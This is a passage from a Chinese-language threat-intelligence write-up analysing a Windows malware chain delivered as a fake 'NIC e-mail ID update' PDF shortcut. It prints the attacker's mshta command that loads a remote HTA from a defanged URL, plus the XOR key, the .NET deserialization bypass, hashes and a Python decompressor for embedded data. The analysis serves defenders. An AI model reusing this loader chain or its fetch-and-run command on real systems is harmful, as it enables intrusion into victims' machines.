left;font-weight: normal;"><span leaf="">HELLO_INTERVAL: 控制轮询频率</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;font-weight: normal;"><span leaf="">IDLE_TIME: 空闲时间阈值</span></p></li></ul><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;margin-left: 0px;margin-right: 0px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-color: transparent;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat-x: no-repeat;background-repeat-y: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: flex;flex-direction: unset;float: unset;height: auto;justify-content: center;line-height: 1.5em;overflow-x: unset;overflow-y: unset;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;text-align: left;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;"><span style="font-size: 18px;color: rgb(255, 255, 255);background-color: rgb(0, 0, 0);line-height: 1.5em;letter-spacing: 0em;padding-top: 2px;padding-bottom: 2px;padding-left: 10px;padding-right: 10px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat-x: no-repeat;background-repeat-y: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: block;font-weight: bold;flex-direction: unset;float: unset;height: auto;justify-content: unset;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;overflow-x: unset;overflow-y: unset;text-align: left;text-indent: 0em;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;"><span leaf="">Windows平台</span></span></h3><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">在Windows平台上以快捷方式的方式存在，LNK文件文件名为</span><strong style="color: rgb(0, 0, 0);font-weight: bold;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat-x: no-repeat;background-repeat-y: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><span leaf="">APPL FOR UPDATION OF NAME BASED &amp; OFFICIAL NIC E-MAIL ID.pdf</span></strong><span leaf="">（基于姓名信息及官方国家信息中心(NIC)电子邮箱ID的更新）。LNK文件通过系统自带的mshta.exe工具从URL加载执行恶意代码。当前这个LNK文件加载并执行的文件为</span><strong style="color: rgb(0, 0, 0);font-weight: bold;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat-x: no-repeat;background-repeat-y: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><span leaf="">app.hta</span></strong><span leaf="">（MD5：90796ed66e7f5f36b6317e6bdf9718ce）。</span></p><pre data-tool="mdnice编辑器" style="border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;text-align: left;margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;"><code style="overflow-x: auto;padding: 16px;color: #abb2bf;padding-top: 15px;background: #282c34;border-radius: 5px;display: -webkit-box;font-family: Consolas, Monaco, Menlo, monospace;font-size: 12px;"><span leaf="">C:\Windows\System32\mshta.exe </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;hxxps://innlive[.]in/assets/public/01/app/  &#34;</span></span><span leaf=""> &amp; mshta.exe</span></code></pre></div><p style="text-align: center;"><img class="rich_pages wxw-img" data-ratio="1.396923076923077" data-s="300,640" data-type="png" data-w="650" type="block" data-imgfileid="100030274" style="height: auto !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=38528092&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FPUubqXlrzBSITy8DJoRDG7wBujSfm1pfJs9qJxkmUI9iadvI3XmhqcqMVfT2b6gZ9g3AYPSwxpZmjzwwW95ucWg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><div data-tool="mdnice编辑器" data-website="https://www.mdnice.com" data-pm-slice="0 0 []" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 10px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;color: black;letter-spacing: 0px;background-color: rgb(255, 255, 255);line-height: 1.6;word-break: break-word;text-align: left;font-size: 14px;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;visibility: visible;"><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">把窗口缩到 0×0，隐藏执行过程。定义函数CodeReview(e)，其功能为自定义 Base64 解码器，Base64码表为A-Za-z0-9+/；函数PanelReview(e,t)功能为将Base64编码的数据解码为可执行的二进制载荷，并将其加载到内存流中供后续执行。</span></p></div><p style="text-align: center;"><img class="rich_pages wxw-img" data-ratio="0.5166666666666667" data-s="300,640" data-type="png" data-w="1080" type="block" data-imgfileid="100030275" style="height: auto !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=e0402848&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FPUubqXlrzBSITy8DJoRDG7wBujSfm1pfCfZibRPKiaXODYMGGClZvVhD1nZZDzGZwm8Y1cu63CpZxjEznoRmomeg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><div data-tool="mdnice编辑器" data-website="https://www.mdnice.com" data-pm-slice="0 0 []" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 10px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;color: black;letter-spacing: 0px;background-color: rgb(255, 255, 255);line-height: 1.6;word-break: break-word;text-align: left;font-size: 14px;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;visibility: visible;"><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">函数CodeValueAdd(text)功能为Base64解码，再使用固定密钥异或解密，异或key为&#34;</span><strong style="color: rgb(0, 0, 0);font-weight: bold;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat-x: no-repeat;background-repeat-y: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><span leaf="">NMSOW_</span><span leaf="">_68923_MOXOE</span></strong><span leaf="">&#34;。</span></p></div><p style="text-align: center;"><img class="rich_pages wxw-img" data-ratio="0.7129629629629629" data-s="300,640" data-type="png" data-w="1080" type="block" data-imgfileid="100030276" style="height: auto !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=d09f3b39&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FPUubqXlrzBSITy8DJoRDG7wBujSfm1pfIcFP3aJRMlTlDRt2JmtpjYaakeCbERUWwWXn1IG7ZLztjMSCAox5SQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><div data-tool="mdnice编辑器" data-website="https://www.mdnice.com" data-pm-slice="0 0 []" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 10px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;color: black;letter-spacing: 0px;background-color: rgb(255, 255, 255);line-height: 1.6;word-break: break-word;text-align: left;font-size: 14px;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;visibility: visible;"><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">检查注册表 HKLM\SOFTWARE\Microsoft.NETFramework\v4.0.30319\ 中是否存在 .NET 4.0，如果存在v4.0.30319，则使用该版本，如果不存在，回退到v2.0.50727，接着设置 COMPLUS_Version 环境变量，强制使用指定的.NET版本，然后解码Payload并反序列化执行恶意代码。优先解码并反序列化执行第一个Payload，如果成功则继续解码并反序列化执行第二个Payload，如果失败则直接解码并反序列化执行第二个Payload，第一个解码并反序列化对象为 </span><strong style="color: rgb(0, 0, 0);font-weight: bold;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat-x: no-repeat;background-repeat-y: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><span leaf="">CallBackFunc</span></strong><span leaf="">，第二个解码并反序列化对象为 </span><strong style="color: rgb(0, 0, 0);font-weight: bold;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat-x: no-repeat;background-repeat-y: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><span leaf="">SyncCodeReview</span></strong><span leaf="">。</span></p></div><p style="text-align: center;"><img class="rich_pages wxw-img" data-ratio="0.475" data-s="300,640" data-type="png" data-w="1080" type="block" data-imgfileid="100030277" style="height: auto !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=423e6cd7&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FPUubqXlrzBSITy8DJoRDG7wBujSfm1pfsKJafIDnic1UnGVkCHzNpTicoRa0ejC30NHZCQRDwJFrS6q8vRvCMicfA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><div data-tool="mdnice编辑器" data-website="https://www.mdnice.com" data-pm-slice="0 0 []" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 10px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;color: black;letter-spacing: 0px;background-color: rgb(255, 255, 255);line-height: 1.6;word-break: break-word;text-align: left;font-size: 14px;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;visibility: visible;"><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">第一个反序列化执行对象为AXML，其功能为开启 </span><strong style="color: rgb(0, 0, 0);font-weight: bold;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat-x: no-repeat;background-repeat-y: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><span leaf="">DisableActivitySurrogateSelectorTypeCheck</span></strong><span leaf="">，绕过 .NET 对 ActivitySurrogateSelector的限制，从而为后续 .NET 反序列化 RCE 链铺路。</span></p></div><p style="text-align: center;"><img class="rich_pages wxw-img" data-ratio="0.43333333333333335" data-s="300,640" data-type="png" data-w="1080" type="block" data-imgfileid="100030278" style="height: auto !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=f1c0d37d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FPUubqXlrzBSITy8DJoRDG7wBujSfm1pf5GcuqsUuFrzmF1C4g08MWSuMDej74WYd2pv0DwXdP8xdmJG0RHWcFw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><div data-tool="mdnice编辑器" data-website="https://www.mdnice.com" data-pm-slice="0 0 []" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 10px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;color: black;letter-spacing: 0px;background-color: rgb(255, 255, 255);line-height: 1.6;word-break: break-word;text-align: left;font-size: 14px;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;visibility: visible;"><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">第二个反序列化执行对象为dll，dll名称为</span><strong style="color: rgb(0, 0, 0);font-weight: bold;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat-x: no-repeat;background-repeat-y: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><span leaf="">auyesekc.dll</span></strong><span leaf="">（MD5：a53b1134f5bad31b407f5f597fd1cfa3）。</span></p><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">类TestClass中定义了几个字符串：RigValue、StartBatFile、AvastTemp、StartLnk、AvastTemp、DecoyFile、FileContents，其中DecoyFile为APPLICATION FOR UPDATION OF NAME BASED AND OFFICIAL NIC E-MAIL ID.pdf。</span></p></div><p style="text-align: center;"><img class="rich_pages wxw-img" data-ratio="0.21851851851851853" data-s="300,640" data-type="png" data-w="1080" type="block" data-imgfileid="100030280" style="height: auto !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=0f1a7485&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FPUubqXlrzBSITy8DJoRDG7wBujSfm1pfl2cFQmm4pDW5TXc92ichLrmxibPQWtkiaHlkxhp2Fbra0Nic8Vv7oU8eNw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><div data-tool="mdnice编辑器" data-website="https://www.mdnice.com" data-pm-slice="0 0 []" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 10px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;color: black;letter-spacing: 0px;background-color: rgb(255, 255, 255);line-height: 1.6;word-break: break-word;text-align: left;font-size: 14px;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;visibility: visible;"><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">在TestClass.Work方法中，解码解压并写入pdf文件到%TEMP%目录。</span></p></div><p style="text-align: center;"><img class="rich_pages wxw-img" data-ratio="0.2180349932705249" data-s="300,640" data-type="png" data-w="743" type="block" data-imgfileid="100030281" style="height: auto !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=b1eac604&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FPUubqXlrzBSITy8DJoRDG7wBujSfm1pfibaHYFkHhYms8vYKFA1OPw0sVDZoiasAhMiceasL97h3DCXlSsKbSoiaKg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><div data-tool="mdnice编辑器" data-website="https://www.mdnice.com" data-pm-slice="0 0 []" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 10px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;color: black;letter-spacing: 0px;background-color: rgb(255, 255, 255);line-height: 1.6;word-break: break-word;text-align: left;font-size: 14px;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;visibility: visible;"><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">decompressData方法将Base64解码后的内容以GZip的方式解压，其中Base64解码后的前4字节为GZip解压后的明文长度，其等效的Python脚本如下：</span></p><pre data-tool="mdnice编辑器" style="border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;text-align: left;margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;"><code style="overflow-x: auto;padding: 16px;color: #abb2bf;padding-top: 15px;background: #282c34;border-radius: 5px;display: -webkit-box;font-family: Consolas, Monaco, Menlo, monospace;font-size: 12px;"><span style="color: #c678dd;line-height: 26px;"><span leaf="">import</span></span><span leaf=""> base64</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">import</span></span><span leaf=""> gzip</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">import</span></span><span leaf=""> struct</span><span leaf=""><br/></span><span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;"><span leaf="">def</span></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">decompress_data</span></span><span style="line-height: 26px;"><span leaf="">(compressed_text: str, encoding=</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;latin1&#34;</span></span><span leaf="">)</span></span><span leaf=""> -&gt; str:</span></span><span leaf=""><br/></span><span leaf="">    raw = base64.b64decode(compressed_text)</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> len(raw) &lt; </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">4</span></span><span leaf="">:</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">raise</span></span><span leaf=""> ValueError(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;Data too short&#34;</span></span><span leaf="">)</span><span leaf=""><br/></span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># 读取解压后长度（Int32 LE）</span></span><span leaf=""><br/></span><span leaf="">    out_len = struct.unpack(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;&lt;I&#34;</span></span><span leaf="">, raw[:</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">4</span></span><span leaf="">])[</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf="">]</span><span leaf=""><br/></span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># GZip 数据</span></span><span leaf=""><br/></span><span leaf="">    gz_data = raw[</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">4</span></span><span leaf="">:]</span><span leaf=""><br/></span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># 解压</span></span><span leaf=""><br/></span><span leaf="">    decompressed = gzip.decompress(gz_data)</span><span leaf=""><br/></span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># 截断到指定长度</span></span><span leaf=""><br/></span><span leaf="">    decompressed = decompressed[:out_len]</span><span leaf=""><br/></span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># Encoding.Default</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span leaf=""> decompressed.decode(encoding, errors=</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;ignore&#34;</span></span><span leaf="">)</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> __name__ == </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;__main__&#34;</span></span><span leaf="">:</span><span leaf=""><br/></span><span leaf="">    s = </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;eQAAAB+LCAAAAAAABAANzEEKgzAQQNF9oXcYcoBm353GaKEUJVaFMlBqGmlAMpBJ8PrN7i8e3+gOqqYBcburCce+fS6V0fjwNhLTlnDx4UsHo8oxupBmF9lTQJODADmDGDL/SiUwunuPL5AtyLJTV5y4WBzyunuLlqLDbaejvqyfJM6nP464GH95AAAA&#34;</span></span><span leaf=""><br/></span><span leaf="">    print(decompress_data(s))</span></code></pre><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">检测联网可用性，调用NetworkInterface.GetIsNetworkAvailable()先判断本机是否有网络连接，再做下面三个检测，有网络连接且三个检测中的任意一个通过即。</span></p><ul style="list-style-type: square;margin-top: 8px;margin-bottom: 8px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 25px;padding-right: 0px;color: rgb(0, 0, 0);" class="list-paddingleft-1"><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;font-weight: normal;"><span leaf="">CanPingGoogleDns() ：Ping 8.8.8.8</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;font-weight: normal;"><span leaf="">CanAccessMicrosoftSite() ：HEAD 请求访问 <a href="http://www.microsoft.com" target="_blank">http://www.microsoft.com</a></span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;font-weight: normal;"><span leaf="">CanAccessCloudflareDns() ：Ping 1.1.1.1</span></p></li></ul></div><p style="text-align: 